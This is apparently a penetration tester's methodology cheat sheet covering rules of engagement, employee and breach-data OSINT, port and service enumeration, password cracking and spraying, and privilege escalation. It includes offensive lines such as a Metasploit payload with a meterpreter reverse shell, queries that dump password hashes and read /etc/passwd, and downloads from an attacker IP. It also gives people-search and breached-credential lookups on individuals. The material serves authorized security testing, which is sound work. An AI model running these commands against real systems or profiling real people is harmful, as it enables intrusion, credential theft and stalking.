

Hackers Methodology

Onjectives of an External Pentest

Trying to test the security from an attackers perspective.

Can a hacker access the system?

What weaknesses are present in the system?

Provide potential remediation steps

PROTECT THE CLIENT

External Checklist

Ensure ROE is signed by Client

Add IP's to Scope TAB

Verify scope with customer

Send Kick-off email

Conduct Vuln scan with Nessus

Identify leaked/breached credentials

Identify employees and email format

Identify websites and search for relevant data (job postings, system info, policy)

Enumerate any accounts on portals, password resets, etc

Run a web app scan (if applicable)

Manually test and exploit target

Validate vulnerabilities found in scanning

Conduct password spray & Bruteforcing on login portals

Escalate from internal to external

Validate previous test results (if applicable)

Cleanup

Rules of Engagement

Signed document after MSA, Quote, etc are completed

Defines roles, responsibilities, and bounds of the test beging performed

Team members authorized to engage

Customer Point of Contact

Company Point of Contact

Rules:

Test Dates

Discolsure

Status Updates

Scope (IP's)
Potential disruptive testing
Bounds (exclusions)
Stop Point
Maintaining Access
Announcement
Project Closure
Post-Mortem
Out-Of-Scope
Disclaimer
Acceptance (MUST BE SIGNED BY REPRESENTATIVE)

Verifying Scope

Screw this up and YOU GO TO JAIL.
Ensure that the IP range/ Websites given to you belong to the client

Use to verify scope

<https://bgp.he.net/net>
<https://dnschecker.org/all-tools.php>

Communication

Low-Med findings may not need alot of communications
High-Critical should have immediate contact (RCE, Vulns)

Kick-Off email

Notify of start, IP Range agreed upon, Attacker IP
Automate!! (email, Nessus scan can be automated to begin ASAP)

Attack Strategy

RCE is unlikely (if it was available, an attacker would have already gotten to it)
Password strength. weak password policy is far more likely. No MFA
OSINT can definetly help you figure out what you are looking for
WebApp may not be interesting, but you CAN try to attack it.

Vulnerability Scanning

Begin with an Advanced Scan

set targets/range

Schedule it to begin immediately once engagement begins

Set ALL ports to scan (1-65535)

Ensure Web App are scanned (check other Assessments as well)

May take a while depending on size of scope

Reviewing and Extracting Information

Alot of data will be low priority, don't waste time writing a 1000 page document, provide reports on vulnerabilities found using:

Export Nessus File

Export PDF report (Executive, Custom with Everything)

Export HTML report

Melcara Nessus Parser (melcara.com)

Run and export it to XLSX

OSINT and Enumeration

Scope Verification

Use to verify scope

<https://bgp.he.net/net>

<https://dnschecker.org/all-tools.php>

Google Dorking

Google Hacking DataBase (GHDB)

Search on Google, Bing, DuckDuckGo, Baidu, Yandex, etc

Use the “-” to remove search terms (ie: -Florida)

use “site:DOMAIN.COM” to search a specific location for the search terms

use “AND” to search multiple terms together

use " " to search phrases in order (ie: "Happy Dog")
use wildcard (*) to search for ANY match in that phrase (ie: *.google.com)
use "filetype:" to look for specific files (pdf,docx,xslx,csv,etc)
use "intext:*" to look for any webpage with the search term in the page
use "inurl:*" to search for the term in the sites url
use "intitle:*" to search for phrase in webpage titles

Finding Emails and Users

<https://hunter.io>

signup for 50 free searches per year
simply search the domain you are looking to identify
Pattern identification can help help in discovering email format (ie: f.last@domain.com)
filter by departments to help narrow your search

<https://phonebook.cz>

search domain you are looking to identify
quick and easy to copy/paste a wordlist for username enumeration
use default/weak passwords and spray at all usernames

clearbit (chrome extention)
from gmail, simply search the domain you are looking for.
filter by role/seniority

<https://tools.verifyemailaddress.io>

<https://email-checker.net/validate>

verify emails collected

forgot password functions can help tie in additional information (other email / phone number)

USE LINKEDIN! (search company employees)
look for legitimate scrappers to make larger orgs easy
Add to breached accounts tab

git clone <https://github.com/killswitch-GUI/SimplyEmail.git>
./SimplyEmail.py -all -e TARGET-DOMAIN

use to find websites with that username

<https://namechk.com>

<https://whatsmyname.app>

<https://namecheckup.com>

Enumerating Valid Accounts

login message may reveal incorrect EMAIL

Reset password can inform you that an email is valid

Note login portals identified in relevant tab

Password OSINT

<https://github.com/hmaverickadams/breach-parse>

breach-parse @gmail.com gmail.txt

Identify patterns (multiple breaches, reuses, weak passwords)

Add to breached accounts sheet

<https://dehashed.com/> (Paid account)

<https://weleakinfo.to> (Paid account)

<https://leakcheck.io> (Paid account)

<https://haveibeenpwned.com>

<https://scylla.sh>

Search based on criteria (name, domain, email, address, etc)

Utilize different source if password sprays don't end up working

People OSINT

<https://whitepages.com>

<https://truepeoplesearch.com>

<https://fastpeoplesearch>

<https://fastbackgroundcheck.com>

<https://webmii.com>

<https://peekyou.com>

<https://411.com>

<https://spokeo.com>

<https://thatsthem.com>

Voter Records

<https://voterrecords.com>

Phone Numbers

Google it!

Try different combinations of the number (xxx)xxx-xxxx / (xxx)xxxxxxxx / xxx-xxx-xxxx / xxxxxxxxxxx / emojis / spell out the numbers

<https://truecaller.com> (don't download on devices you like)

<https://calleridtest.com> (5 per day)

<https://infobel.com>

Resumes

google - "name" resume

filter by filetype:pdf/docx

filter by site:google, dropbox, scribd, linkedin

Social Media OSINT

Twitter

twitter.com/search-advanced

Search for people/topics/keywords

Top is trending on Twitter

Latest is most recent mention

People is users associated with or in bio

Photos

Videos

use " " to search specific phrases

use from:* to filter by specific users

use to:* to see who is tweeting at the target

use the @* to see anyone who tagged the target

use since:YYYY-MM-DD to view tweets since date

use until:YYYY-MM-DD to limit previous operator

use geocode: COORDINATES RANGEKM to view tweets within a specified location

look through likes/media/replies/tweets

<https://socialbearing.com>

<https://www.twitonomy.com/>

<https://mentionmapp.com/>

<http://spoonbill.io/>

<https://tinfoleak.com/>

<http://sleepingtime.org/>

<https://tweetdeck.com>

Facebook

search name

filter by location/education

filter by posts/people/photos/groups/etc

use "photos of NAME" to see who contacted that person

view page source and find "userID" for Entity ID to search

Pull data from Into / Pictures / Friends / Videos / Check-ins / Likes

<https://sowdust.github.io/fb-search/>

<https://intelx.io/tools?tab=facebook>

Instagram

check account / photos / tags / followers / following

<https://wopita.com>

<https://codeofaninja.com>

<https://instadp.com>

<https://imginn.com>

Snapchat

Search usernames / slow type in search field

search user locations using <https://map.snapchat.com>

Reddit

Search for the username on Reddit

use " " to search specific phrases

use google to search phrases at site:reddit.com

Linkedin

look at unique url username (ie: in/xxxx-xxxxx)

look for contact info

Look at the company they work at

Look at coworkers

Other relevant info

Job posting explains environment, systems, tools, applications
Google search for password/other policies

Website OSINT

filter by "site:"
search for site:* USER
look for pictures
begin removing keywords you have already recon'd

<https://builtwith.com>

Look at the different tabs (metadata/Detailed tech profile) and look for older/weak infrastructure

<https://centralops.net/co/>

shows IP, WHOIS (contact/location/phone), Name Servers, MX records, service scans (nmap)

<https://dnslytics.com>

use tools to find other domains (self-hosted),

<https://spyonweb.com>

Whois, Alexa Ranking, and search for additional domains using UA

<https://virustotal.com>

Identify UA code from Google

<https://reddit.com/domain/DOMAIN.com>

See anyone who has been discussing the company on Reddit

<https://visualping.io>

monitor website changes

<https://backlinkwatch.com>

search for links to company on other sites

<https://viewdns.info>

dozens of options that can provide information about IP/Domains/etc

DNS Enumeration

<https://whois.domaintools.com/>

<https://pentest-tools.com/information-gathering/find-subdomains-of-domain>

<https://dnsdumpster.com/>

dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt

DNS Zone Transfer

dig axfr WEBSITE.com @ns1.WEBSITE.com

Sub-Domain Enumeration

site:*.Domain.com -www

use inurl: to look for admin/login/dev/sso/vpn/

sip/autodiscover/profile/uat/staging may be interesting as well.

<https://pentest-tools.com/information-gathering/find-subdomains-of-domain#>

<https://spyse.com/>

<https://crt.sh/> (%.DOMAIN.com for wildcard)

https://github.com/appsecco/the-art-of-subdomain-enumeration/blob/master/san_subdomain_enum.py

<https://shodan.io>

<https://archive.org>

Hunting Business Info

Use Linkedin for quick and easy OSINT

Look at the about for locations/ phone numbers/ employees/ website / open jobs (technology)/ images and videos

Images are critical! look for badges/ locations/ computer screens/ stickynotes/ use google to reverse search pictures, find titles/profiles

Look for other staff members (search linkedin.com/in/ "at COMPANY")

<https://opencorporate.com>

Search company info (address, officers, time in business, paperwork)

State business registries

<https://aihit.com>

Look for Companies open positions on (indeed/Dice/career pages/others)

Wireless OSINT

<https://wigle.net>

Using Tools

Image and Location Data

Look for other tools (instagram OSINT, etc)

exiftool FILENAME (gives basic information)

Hunting Breached data

theHarvester -d DOMAIN -l LIMIT -b source1.source2,all (look into setting up API keys)

./breach-parse.sh @DOMAIN.COM FILENAME

h8mail -t EMAIL (or file)

h8mail -t EMAIL or FILE -bc "/opt/breach-parse/BreachCompilation/" -sk

Username and Account OSINT

python3 /opt/OSINT-tools/sherlock/sherlock/sherlock.py USERNAME

Phone Number OSINT

phoneinfoga scan -n NUMBER

phoneinfoga serve -p 8080 (GUI Version)

Social Media OSINT

TWITTER

cd to /opt/OSINT-tools/src/twint/twint

twint -u USERNAME -s SUBJECT

twint -u USERNAME -o FILE.txt (or .csv with --csv)

twint -u USERNAME --timeline

twint -u USERNAME --year

twint -u USERNAME --since YYYY-MM-DD

twint -s SUBJECT

INSTAGRAM

cd to /opt/OSINT-tools/InstagramOSINT

```
python3 main.py --username USERNAME
```

WEBSITE OSINT

Use Wappalyzer to get some high level details about how the website was built (use builtwith as well)

```
whatweb -v DOMAIN  
whois DOMAIN
```

```
subfinder -d DOMAIN > DOMAIN.txt  
assetfinder DOMAIN | grep DOMAIN >> DOMAIN.txt  
amass enum -d DOMAIN  
cat TARGET.txt | sort -u | httpprobe -s -p https:443
```

OSINT Frameworks

recon-ng

```
marketplace search  
look for recon/*
```

```
marketplace install hackertarget (finds Hostnames)  
modules load hackertarget  
options set SOURCE domain  
show hosts
```

```
marketplace install profiler  
module load profiler  
options set SOURCE username  
show profiles
```

search for more and use them to gain more info

Other Tools

<https://hunch.ly>

ONLY Runs in Chrome
Start New Case

use selectors as a keyword search to find
use tags to flag specific webpages

Writing an OSINT report

Summary

Key Findings

Subject Info (Photo / Info / Accounts and Emails)

Steps taken to find info (keep it short)

Technical Evidence (Instructions and screenshots)

How does the info tie to the subject

Scanning

Begin by Vulnerability Scanning

Begin with an Advanced Scan

set targets/range

Schedule it to begin immediately once engagement begins

Set ALL ports to scan (1-65535)

Ensure Web App are scanned (check other Assessments as well)

May take a while depending on size of scope

Port Scanning

```
sudo masscan -p1-65535,U:1-65535 $IPADDRESS/RANGE --rate=1000 >
Masscan$IPADDRESS/RANGE.txt
```

```
sudo nmap -sU -sT -p0-65535 $IPADDRESS/RANGE > Nmap$IPADDRESS/
RANGE.txt
```

```
sudo nmap -sT -sU -sV -p0-65535 --script=vuln $IPADDRESS/RANGE >
Nmap$IPADDRESS/RANGEvulns.txt
```

Full TCP port scan

```
sudo nmap -Pn -p- -oN alltcp_ports.txt $ip
```

Full TCP port scan (safe scripts + version detection)

```
sudo nmap -Pn -sC -sV -p- -oN alltcp.txt $ip
```

Top 20 UDP port scan

```
sudo nmap -Pn -sU -sV -sC --top-ports=20 -oN top_20_udp_nmap.txt $ip
```

AutoRecon

Scan single target

```
sudo autorecon -o enumeration $ip
```

Scan multiple targets

```
sudo autorecon -o enumeration $ip1 $ip2 $ip3 $ip4
```

Fingerprinting and Banner Grabbing

```
nc -v IPADDRESS Port
```

```
Telnet IPADDRESS Port
```

FTP Enumeration (Port 21)

```
nmap -p 21 --script=ftp* -oN ftp$IPADDRESS.txt
```

```
nmap -script ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21 > ftp$IPADDRESS.txt
```

Version detection + NSE scripts

```
nmap -Pn -sV -p 21 --script="banner,(ftp* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" -oN "tcp_21_ftp_nmap.txt" $ip
```

SSH Enumeration (Port 22)

```
nc -vn $IPADDRESS 22
```

```
nmap -p22 $IPADDRESS -sC
```

```
nmap -p22 $IPADDRESS -sV
```

```
nmap -p22 $IPADDRESS --script ssh2-enum-algos
```

```
nmap -p22 $IPADDRESS --script ssh-hostkey --script-args ssh_hostkey=full
```

```
nmap -p22 $IPADDRESS --script ssh-auth-methods --script-args="ssh.user=root"
```

```
# Version detection + NSE scripts
```

```
nmap -Pn -sV -p 22 --script=banner,ssh2-enum-algos,ssh-hostkey,ssh-auth-methods -oN tcp_22_ssh_nmap.txt $ip
```

SMTP Enumeration (Port 25)

```
nmap -script smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 $IPADDRESS
```

```
nc -nvv $IPADDRESS 25
```

```
telnet $IPADDRESS 25
```

```
# Version detection + NSE scripts
```

```
nmap -Pn -sV -p 25 "--script=banner,(smtp* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" -oN tcp_25_smtp_nmap.txt $ip
```

```
/home/kali/.local/bin/smtp-user-enum -V -m RCPT -w -f
```

```
'<user@example.com>' -d 'domain.local' -U "/usr/share/metasploit-framework/data/wordlists/unix_users.txt" $ip 25 2>&1 | tee "tcp_25_smtp_user-enum.txt"
```

DNS Enumeration

```
nmap -sC -sV -p53 OPADDRESS.0/24
```

```
https://whois.domaintools.com/
```

```
https://pentest-tools.com/information-gathering/find-subdomains-of-domain
```

```
https://dnsdumpster.com/
```

```
dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt
```

```
# Version detection + NSE scripts
```

```
sudo nmap -Pn -sU -sV -p 53 "--script=banner,(dns* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" -oN udp_53_dns_nmap.txt $ip
```

DNS Zone Transfer

```
dig axfr WEBSITE.com @ns1.WEBSITE.com
```

```
# Perform zone transfer (only works over port 53/tcp)
dig axfr @$ip $domain 2>&1 | tee "tcp_53_dns_dig.txt"
```

```
# Perform reverse DNS lookup (may display NS record containing domain
name)
nslookup $ip $ip
```

```
# Brute force subdomains
gobuster dns -d $domain -w /usr/share/seclists/Discovery/DNS/bitquark-
subdomains-top100000.txt -t 16 -o "tcp_53_dns_gobuster.txt"
```

Web Enumeration (80/443)

```
curl -I $url
```

```
cewl $url/index.php -m 3 --with-numbers -w cewl.txt
```

```
python3 drupwn --version 7.28 --mode enum --target $url
```

```
droopescan scan drupal -u $url
```

```
dirb http://\$IPADDRESS/
```

```
nikto -h $IPADDRESS
```

```
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u
http://IPADDRESS/FUZZ
```

Version detection + NSE scripts

```
nmap -Pn -sV -p $port "--script=banner,(http* or ssl*) and not (brute or
broadcast or dos or external or http-slowloris* or fuzzer)" -oN
tcp_port_protocol_nmap.txt $ip
```

```
nikto -h $url 2>&1 | tee "tcp_port_protocol_nikto.txt"
```

```
gobuster dir -u $url -w /usr/share/seclists/Discovery/Web-Content/common.txt -
x "txt,html,php,asp,aspx,jsp" -s "200,204,301,302,307,403,500" -k -t 16 -o
"tcp_port_protocol_gobuster.txt"
```

```
python3 /opt/dirsearch/dirsearch.py -u $url -t 16 -e txt,html,php,asp,aspx,jsp -f -x 403 -w /usr/share/seclists/Discovery/Web-Content/common.txt --plain-text-report="tcp_port_protocol_dirsearch.txt"
```

Dirbuster (GUI): only perform extension brute force - disable 'Brute Force Dirs'

```
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/common.txt --hc 404 -t 16 $url/FUZZ 2>&1 | tee "tcp_port_http_wfuzz.txt"
```

Directory brute force recursively with max depth = 2

```
python3 /opt/dirsearch/dirsearch.py -u $url/apps/ -t 16 -e txt,html,php -f -x 403 -r -R 2 -w /usr/share/seclists/Discovery/Web-Content/common.txt --plain-text-report="tcp_port_protocol_dirsearch_apps.txt"
```

```
whatweb --color=never --no-errors -a 3 -v $url 2>&1 | tee "tcp_port_protocol_whatweb.txt"
```

Enumerate vulnerable plugins and themes, timthumbs, wp-config.php backups, database exports, usernames and media IDs

```
wpscan --url $url --no-update --disable-tls-checks -e vp,vt,tt,cb,dbe,u,m --plugins-detection aggressive --plugins-version-detection aggressive -f cli-no-color 2>&1 | tee tcp_port_protocol_wpscan.txt
```

Enumerate all plugins

```
wpscan --url $url --disable-tls-checks --no-update -e ap --plugins-detection aggressive -f cli-no-color 2>&1 | tee tcp_port_protocol_wpscan_plugins.txt
```

Check if bash vulnerable to CVE-2014-6271 (bash vulnerable if 'vulnerable' in output)

```
env x='()' { :; }; echo vulnerable' bash -c "echo this is a test"
```

Brute force CGI files

```
gobuster dir -u $url/cgi-bin/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x "cgi,sh,pl,py" -s "200,204,301,302,307,403,500" -t 16 -o "tcp_port_protocol_gobuster_shellshock.txt"
```

```
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/CGIs.txt --hc 404 -t 16 $url/cgi-bin/FUZZ 2>&1 | tee "tcp_port_protocol_wfuzz.txt"
```

Webmin uses cgi files - versions up to 1.700 vulnerable to shellshock (<http://www.webmin.com/security.html>)

Sub-Domain Enumeration

<https://crt.sh/>

https://github.com/appsecco/the-art-of-subdomain-enumeration/blob/master/san_subdomain_enum.py

./sumrecon.sh DOMAIN

Kerberos (88/464)

Version detection + NSE scripts

```
nmap -Pn -sV -p $port --script="banner,krb5-enum-users" -oN  
"tcp_port_kerberos_nmap.txt" $ip
```

POP3/POP3S

Version detection + NSE scripts

```
nmap -Pn -sV -p $port "--script=banner,(pop3* or ssl*) and not (brute or  
broadcast or dos or external or fuzzer)" -oN tcp_port_pop3_nmap.txt $ip
```

RPCBind (111)

```
rpcinfo -p $IPADDRESS
```

Version detection + NSE scripts

```
nmap -Pn -sV -p $port --script=banner,msrpc-enum,rpc-grind,rpcinfo -oN  
tcp_port_rpc_nmap.txt $ip
```

List all registered RPC programs

```
rpcinfo -p $ip
```

Provide compact results

```
rpcinfo -s $ip
```

```
rpcclient -U "" -N $ip
```

```
srvinfo
```

```
enumdomusers
```

```
getdompwninfo
```

```
querydominfo
```

```
netshareenum
```

```
netshareenumall
```

Ident (113)

```
ident-user-enum $ip 22 25 80 445
```

NTP (123)

```
# Run ntp-info NSE script  
sudo nmap -sU -p 123 --script ntp-info $ip
```

NetBIOS (137)

```
enum4linux -a -M -l -d $ip 2>&1 | tee "enum4linux.txt"
```

```
nbtscan -rvh $ip 2>&1 | tee "nbtscan.txt"
```

SMB\RPC Enumeration (139/445)

```
# Version detection + NSE scripts  
nmap -Pn -sV -p 445 "--script=banner,(nbstat or smb* or ssl*) and not (brute or  
broadcast or dos or external or fuzzer)" --script-args=unsafe=1 -oN  
tcp_445_smb_nmap.txt $ip
```

```
enum4linux -a $IPADDRESS
```

```
enum4linux -a -M -l -d $ip 2>&1 | tee "enum4linux.txt"
```

```
# NB: change interface tcpdump listening on  
sudo ./smbver.sh $ip 139
```

```
nbtscan $IPADDRESS
```

```
py $IPADDRESS 500 50000 dict.txt
```

```
python /usr/share/doc/python-impacket-doc/examples/samrdump.py  
$IPADDRESS
```

```
nmap $IPADDRESS --script smb-enum-domains.nse,smb-enum-  
groups.nse,smb-enum-processes.nse,smb-enum-sessions.nse,smb-enum-  
shares.nse,smb-enum-users.nse,smb-ls.nse,smb-mbenum.nse,smb-os-  
discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-  
server-stats.nse,smb-system-info.nse,smb-vuln-conficker.nse,smb-vuln-  
cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-
```

ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-
regsvc-dos.nse

nmap -T4 -v -oA shares --script smb-enum-shares --script-args
smbuser=username,smbpass=password -p445 \$IPADDRESS.0/24

nmap -sU -sS --script=smb-enum-users -p U:137,T:139 \$IPADDRESS.0/24

smbclient -L //\$IPADDRESS/

List share permissions

smbmap -H \$ip -P 445 2>&1 | tee -a "smbmap-share-permissions.txt";
smbmap -u null -p "" -H \$ip -P 445 2>&1 | tee -a "smbmap-share-
permissions.txt"

List share contents

smbmap -H \$ip -P 445 -R 2>&1 | tee -a "smbmap-list-contents.txt"; smbmap -u
null -p "" -H \$ip -P 445 -R 2>&1 | tee -a "smbmap-list-contents.txt"

smbmap -H \$ip

smbclient -L //\$ip/ -U "" -N

nmap --script smb-enum-shares -p 445 \$ip

smbclient \\\\\$ip\\wwwroot

RRAS Service Overflow

[https://docs.microsoft.com/en-us/security-updates/securitybulletins/2006/
ms06-025](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2006/ms06-025)

nmap -Pn -sV -p 445 --script="smb-vuln-ms06-025" --script-args="unsafe=1" -
oN "tcp_445_smb_ms06-025.txt" \$ip

DNS RPC Service Overflow

[https://docs.microsoft.com/en-us/security-updates/securitybulletins/2007/
ms07-029](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2007/ms07-029)

nmap -Pn -sV -p 445 --script="smb-vuln-ms07-029" --script-args="unsafe=1" -
oN "tcp_445_smb_ms07-029.txt" \$ip

Server Service Vulnerability

[https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/
ms08-067](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-067)

nmap -Pn -sV -p 445 --script="smb-vuln-ms08-067" --script-args="unsafe=1" -
oN "tcp_445_smb_ms08-067.txt" \$ip

```
# Eternalblue
```

```
# https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010
```

```
nmap -p 445 --script smb-vuln-ms17-010 -oN "tcp_445_smb_ms08-067.txt" $ip
```

MOUNT NFS

```
Showmount -e IPADDRESS
```

```
Mount -t TYPE IPADDRESS:/Path/to/share MNT/LOCATION
```

IMAP/IMAPS (143/993)

```
# Version detection + NSE scripts
```

```
nmap -Pn -sV -p $port "--script=banner,(imap* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" -oN tcp_port_imap_nmap.txt $ip
```

SNMP Enumeration (161)

```
snmpwalk -c public -v1 $IPADDRESS
```

```
# Enumerate entire MIB tree
```

```
snmpwalk -c public -v1 -t 10 $ip
```

```
# Enumerate Windows users
```

```
snmpwalk -c public -v1 $ip 1.3.6.1.4.1.77.1.2.25
```

```
# Enumerate running Windows processes
```

```
snmpwalk -c public -v1 $ip 1.3.6.1.2.1.25.4.2.1.2
```

```
# Enumerate open TCP ports
```

```
snmpwalk -c public -v1 $ip 1.3.6.1.2.1.6.13.1.3
```

```
# Enumerate installed software
```

```
snmpwalk -c public -v1 $ip 1.3.6.1.2.1.25.6.3.1.2
```

```
snmpcheck -t $IPADDRESS -c public
```

```
snmpenum -t $IPADDRESS
```

```
onesixtyone -c names -i $IPADDRESS/RANGE
```

```
nmap -sT -p 161 $IPADDRESS -oG snmp_results.txt
```

```
# Version detection + NSE scripts
```

```
sudo nmap -Pn -sU -sV -p 161 --script="banner,(snmp* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" -oN "udp_161_snmp-nmap.txt" $ip
```

```
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt $ip 2>&1 | tee "udp_161_snmp_onesixtyone.txt"
```

LDAP (389/3268)

```
# Version detection + NSE scripts
```

```
nmap -Pn -sV -p $port --script="banner,(ldap* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" -oN "tcp_port_ldap_nmap.txt" $ip
```

```
enum4linux -a -M -l -d $ip 2>&1 | tee "enum4linux.txt"
```

Java RMI (1100)

```
# Version detection + NSE scripts
```

```
nmap -Pn -sV -p 1100 --script="banner,rmi-vuln-classloader,rmi-dumpregistry" -oN "tcp_110_rmi_nmap.txt" $ip
```

MSSQL (1433)

```
nmap -sU --script=ms-sql-info $IPADDRESS
```

```
# Version detection + NSE scripts
```

```
nmap -Pn -sV -p 1433 --script="banner,(ms-sql* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" --script-args="mssql.instance-port=1433,mssql.username=sa,mssql.password=sa" -oN "tcp_1433_mssql_nmap.txt" $ip
```

```
# MSSQL shell
```

```
mssqlclient.py -db msdb hostname/sa:password@$ip
```

```
# List databases
```

```
SELECT name FROM master.dbo.sysdatabases
```

```
# List tables
```

```
SELECT * FROM <database_name>.INFORMATION_SCHEMA.TABLES
```

```
# List users and password hashes
```

```
SELECT sp.name AS login, sp.type_desc AS login_type, sl.password_hash,  
sp.create_date, sp.modify_date, CASE WHEN sp.is_disabled = 1 THEN  
'Disabled' ELSE 'Enabled' END AS status FROM sys.server_principals sp LEFT  
JOIN sys.sql_logins sl ON sp.principal_id = sl.principal_id WHERE sp.type NOT IN  
('G', 'R') ORDER BY sp.name
```

```
msf > use auxiliary/scanner/mssql/mssql_ping
```

```
msf > use auxiliary/admin/mssql/mssql_enum
```

```
msf > use exploit/windows/mssql/mssql_payload
```

```
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
```

Oracle (1521)

```
nmap -p 1521 -A $IPADDRESS
```

```
apt-get install oscanner
```

```
oscanner -s 192.168.1.200 -P 1521
```

```
apt-get install tnscommand
```

```
tnscmd10g version -h $IPADDRESS
```

```
tnscmd10g status -h $IPADDRESS
```

```
nmap --script=oracle-tns-version
```

```
nmap --script=oracle-sid-brute
```

```
nmap --script=oracle-brute
```

NFS (2049)

```
# Version detection + NSE scripts
```

```
nmap -Pn -sV -p 111,2049 --script="banner,(rpcinfo or nfs*) and not (brute or  
broadcast or dos or external or fuzzer)" -oN "tcp_111_2049_nfs_nmap.txt" $ip
```

```
showmount -e $ip
```

```
sudo mount -o rw,vers=2 $ip:/home /mnt
```

```
# '-o nolock' used to disable file locking, needed for older NFS servers  
sudo mount -o nolock $ip:/home /mnt/
```

MySQL (3306)

```
# Version detection + NSE scripts
```

```
nmap -Pn -sV -p 3306 --script="banner,(mysql* or ssl*) and not (brute or  
broadcast or dos or external or fuzzer)" -oN "tcp_3306_mysql_nmap.txt" $ip
```

```
mysql --host=$ip -u root -p
```

```
SHOW VARIABLES;
```

```
SHOW GRANTS;
```

```
# Replace 'password' field with 'authentication_string' if it does not exist
```

```
SELECT
```

```
user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv  
FROM mysql.user WHERE user = 'root';
```

```
SELECT grantee, table_schema, privilege_type FROM  
information_schema.schema_privileges;
```

```
SELECT user FROM mysql.user WHERE file_priv='Y';
```

RDP (3389)

```
# Version detection + NSE scripts
```

```
nmap -Pn -sV -p 3389 --script="banner,(rdp* or ssl*) and not (brute or  
broadcast or dos or external or fuzzer)" -oN "tcp_3389_rdp_nmap.txt" $ip
```

SIP (5060)

Scans for SIP devices on network

```
svmap $ip
```

Identifies active extensions on PBX

```
svwar -m INVITE -e 200-250 $ip
```

PostgreSQL (5432)

Log into postgres remotely

```
PGPASSWORD=postgres psql -h $ip -p 5437 -U postgres
```

List databases

```
\list
```

```
SELECT datname FROM pg_database;
```

Use postgres database

```
\c postgres
```

List tables

```
\d
```

Describe table

```
\d table
```

Check if current user superuser (on = yes, off = no)

```
SELECT current_setting ('is_superuser');
```

Get user roles

```
\du+
```

Check user's privileges over table (pg_shadow)

```
SELECT grantee, privilege_type FROM information_schema.role_table_grants  
WHERE table_name='pg_shadow';
```

Read file (/etc/passwd)

```
CREATE TABLE demo(t text);
```

```
COPY demo FROM '/etc/passwd';
```

```
SELECT * FROM demo;
```

Read usernames and password hashes

Postgresql password hash format: md5(secret || username) where || denotes string concatenation (remove md5 before cracking hash)

```
SELECT username, passwd from pg_shadow;
```

Check if plpgsql enabled

Below result indicates that plpgsql enabled:

```
# lanname | lanac1
```

```
#-----+-----
```

```
# plpgsql |
```



```
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'
```

PostgreSQL config file location

```
SHOW config_file;
```

VNC (5900)

```
# Version detection + NSE scripts
nmap -Pn -sV -p 5900 --script="banner,(vnc* or realvnc* or ssl*) and not (brute
or broadcast or dos or external or fuzzer)" --script-args="unsafe=1" -oN
"tcp_5900_vnc_nmap.txt" $ip
```

AJP (8009)

```
# Version detection + NSE scripts
nmap -Pn -sV -p 8009 -n --script ajp-auth,ajp-headers,ajp-methods,ajp-request
-oN tcp_8009_ajp_nmap.txt $ip
```

Password Cracking

ZIP password cracking

```
fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt FILETOCRACK.zip
```

Password Cracking with John

```
john PASSWORDFILE -wordlist=PATH/TO/WORDLIST
```

Show cracked passwords - john -show PASSWORDFILE

Cracking with HashCat

```
Password - hashcat -m TYPE -a 0 -o NEWFILE HASHFILE /usr/share/wordlists/
rockyou.txt
```

```
Kerberos - hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -O
```

Password hints:
location (Steelers)

Season(Fall2021)
Month(Oct2021)
L33tSpeak(H@X0rZ)

Attacking Office 365 Portals

MORE THAN LIKELY LINKS TO OTHER THINGS!!!

<https://github.com/blacklanternsecurity/TREVORspray>

<https://github.com/0xZDH/o365spray>

Burp Intruder

Attacking Outlook Web Application Portals

Sensitive info MAY be here

msfconsole > use auxillary/scanner/http/owa-login

set Pass_File Pass.txt

set RHOST

set user_file FILE.txt

Ensure SSL and 443 are selected

set Threads

** Check Action got correct version **

Attacking other Login Portals

Burp Intruder can help aid in attacking a login portal

Look for error codes, length, grep for errors

Bypassing MFA

<https://github.com/daftack/MFASweep>

Checks for accounts with MFA with Powershell

Privilege Escalation

Typical search for

Sudo -l
Crontab -l
ps

Get file from attack machine

Windows - Certutil -urlcache -f <http://IPADDRESS/File>
Linux - wget <http://IPADDRESS/File>

Search for SUID

find / -type f -perm -4000 2>/dev/null

Search for SGID

find / -type f -perm -2000 2>/dev/null

Windows Privilege Escalation

System Enumeration

systeminfo (*finds: hostname / os / build number / manufacturer / architecture*)
systeminfo | findstr /B /C:"ARG1" /C:"ARG2" (*OS Name / OS Version / Etc*)
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%

List All Drives

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {\$_.Provider -like
"Microsoft.PowerShell.Core\FileSystem"} | ft Name,Root

Hostname

wmic qfe (*Shows system and patching info Look for missing KB000000*)

